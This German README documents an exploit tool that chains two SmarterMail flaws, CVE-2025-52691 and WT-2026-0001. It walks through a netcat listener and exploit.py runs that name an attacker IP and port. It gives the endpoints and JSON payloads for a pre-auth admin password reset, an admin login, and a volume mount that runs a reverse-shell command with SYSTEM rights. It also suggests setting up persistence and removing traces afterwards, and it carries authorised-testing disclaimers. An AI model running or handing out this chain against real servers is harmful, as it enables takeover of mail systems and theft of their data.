CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit

🚨 WICHTIGER HINWEIS

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bestimmt!

• Unbefugte Nutzung ist illegal und unethisch
• Nur auf Systemen mit ausdrücklicher Genehmigung verwenden
• Verwendung auf eigene Gefahr
• Benutzer sind für die Einhaltung aller geltenden Gesetze verantwortlich

📋 Übersicht

Dieser Exploit kombiniert zwei kritische Schwachstellen in SmarterMail:

1. CVE-2025-52691: Pre-Auth Remote Code Execution via Datei-Upload
   • CVSS-Score: 10.0 (Kritisch)
   • Betroffene Versionen: Build 9406 und früher, Build 16.3.6989.16341 und früher
   • Behobene Versionen: Build 9413 und später

https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691

2. WT-2026-0001: Authentifizierungsumgehung via Passwort-Zurücksetzung
   • CVE-ID nicht vergeben
   • Betroffene Versionen: Bis Build 9510
   • Behobene Versionen: Build 9511 (15. Januar 2026)

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

Angriffsvektor

Der Exploit führt einen 3-Phasen-Angriff durch:

1. Phase 1: Authentifizierungsumgehung via WT-2026-0001

   • Ändert das Admin-Passwort ohne Überprüfung des alten Passworts

2. Phase 2: Admin-Anmeldung mit neuem Passwort

   • Authentifizierung am SmarterMail-Webinterface

3. Phase 3: RCE über die Volume-Mounts-Funktionalität

   • Erstellt einen Volume Mount mit Reverse-Shell-Befehl
   • Führt Betriebssystembefehle mit SYSTEM-Privilegien aus

Voraussetzungen

Systemanforderungen

• Python 3.6+
• Netcat (nc)
• curl
• Linux/macOS/Windows (WSL)

Installationsanweisungen

# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip

# macOS
brew install python3

# Windows (WSL)
wsl --install

# Install netcat
# Ubuntu/Debian
sudo apt install netcat

# macOS
brew install netcat

# Windows (WSL)
sudo apt install netcat-traditional

Abhängigkeiten installieren

# Python dependencies (if needed)
pip3 install requests

Schnellstart

Methode 1: Automatisierte Einrichtung (Empfohlen)

# Make executable
chmod +x run_exploit.sh

# Automated setup
./run_exploit.sh --auto

# Or interactive setup
./run_exploit.sh

Methode 2: Direkte Ausführung

# Setup listener (in one terminal)
nc -lvnp 4444

# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Methode 3: Mit allen Optionen

python3 exploit.py \
  -H http://192.168.1.100 \
  -P 9998 \
  -A 192.168.1.50 \
  -p 4444 \
  -d \
  --admin-username admin \
  --new-password "MySecurePassword123!"

Detaillierte Anleitung

Schritt 1: Vorbereitung

1. Zielidentifizierung

   root@kitploit:~

   # Check target host
   curl -I http://192.168.1.100:9998
   
   # Identify SmarterMail version
   # (Usually in login page or HTTP headers)
   

2. Listener-Einrichtung

   root@kitploit:~

   # In Terminal 1: Start listener
   nc -lvnp 4444
   
   # The listener must be running before the exploit is executed
   

3. Netzwerkvalidierung

   root@kitploit:~

   # Ensure connection between attacker and target is possible
   ping 192.168.1.100
   nc -zv 192.168.1.100 9998
   

Schritt 2: Exploit-Ausführung

# With the runner script (recommended)
./run_exploit.sh

# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Schritt 3: Nach dem Exploit

1. Shell-Verbindung

   root@kitploit:~

   # In the listener terminal, a connection should now appear
   # You should have a SYSTEM shell
   

2. Zugriff überprüfen

   root@kitploit:~

   # In the obtained shell
   whoami
   hostname
   ipconfig /all  # Windows
   ifconfig       # Linux
   

3. Dauerhafter Zugriff

   root@kitploit:~

   # Optional: Set up persistence
   # Windows: Install as service
   # Linux: Cron job or systemd service
   

🔧 Konfigurationsoptionen

Exploit.py Parameter

Run_Exploit.sh Parameter

Beispiele

Beispiel 1: Grundlegende Verwendung

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Beispiel 2: Mit benutzerdefinierten Anmeldedaten

python3 exploit.py \
  -H https://mail.company.com \
  -P 443 \
  -A 10.0.0.1 \
  -p 8080 \
  --admin-username administrator \
  --new-password "ComplexPassword123!@#"

Beispiel 3: Debug-Modus

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

Beispiel 4: Automatisierte Einrichtung

./run_exploit.sh --auto

Technische Details

Phase 1: Authentifizierungsumgehung

Endpunkt: POST /api/v1/auth/force-reset-password

Payload:

{
  "IsSysAdmin": "true",
  "OldPassword": "dummy",
  "Username": "admin",
  "NewPassword": "NewPassword123!@#",
  "ConfirmPassword": "NewPassword123!@#"
}

Erfolgsantwort:

{
  "success": true,
  "resultCode": 200,
  "debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}

Phase 2: Admin-Anmeldung

Endpunkt: POST /api/v1/auth/login

Payload:

{
  "username": "admin",
  "password": "NewPassword123!@#"
}

Phase 3: RCE über Volume Mounts

Endpunkt: POST /api/v1/settings/volume-mounts

Payload:

{
  "name": "random_volume_name",
  "path": "C:\\Temp\\random_volume_name",
  "command": "powershell reverse shell command",
  "enabled": true,
  "type": "command"
}

Fehlerbehebung

Häufige Probleme

1. Port blockiert

# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998

2. Listener nicht erreichbar

# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444

3. Authentifizierung fehlgeschlagen

# Error: "Login failed"
# Solution: Check target version (must be vulnerable)

5. RCE fehlgeschlagen

# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system

Debug-Modus

Aktivieren Sie den Debug-Modus für detaillierte Ausgabe:

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

⚠️ Sicherheitshinweise

Rechtliche Aspekte

• Nur autorisierte Tests durchführen
• Schriftliche Genehmigung einholen
• Einhaltung lokaler Gesetze sicherstellen
• Keine Tests auf Produktionssystemen

Sicherheitsvorkehrungen

1. Testumgebung: Testen Sie immer in kontrollierten Umgebungen
2. Zielvalidierung: Stellen Sie sicher, dass das Ziel ein Testsystem ist
3. Netzwerkisolierung: Trennen Sie Testsysteme vom Produktionsnetzwerk
4. Dokumentation: Dokumentieren Sie alle Tests
5. Bereinigung: Entfernen Sie nach dem Test alle Spuren

Verantwortungsvoller Einsatz

• Keinen Schaden verursachen
• Keine Daten stehlen oder manipulieren
• Systeme nicht deaktivieren
• Seien Sie transparent gegenüber verantwortlichen Parteien

Updates und Wartung

Versionshinweise

• v1.0: Erste Version mit voller Funktionalität
• Zukünftige Updates: Verbesserungen der Fehlerbehandlung und Stabilität

🙏 Danksagungen

• watchTowr Labs für die ursprüngliche Forschung
• Sicherheitsforschungs-Community für die Unterstützung
• Allen, die zu Verbesserungen beigetragen haben

⚠️ Denken Sie daran: Mit großer Macht kommt große Verantwortung!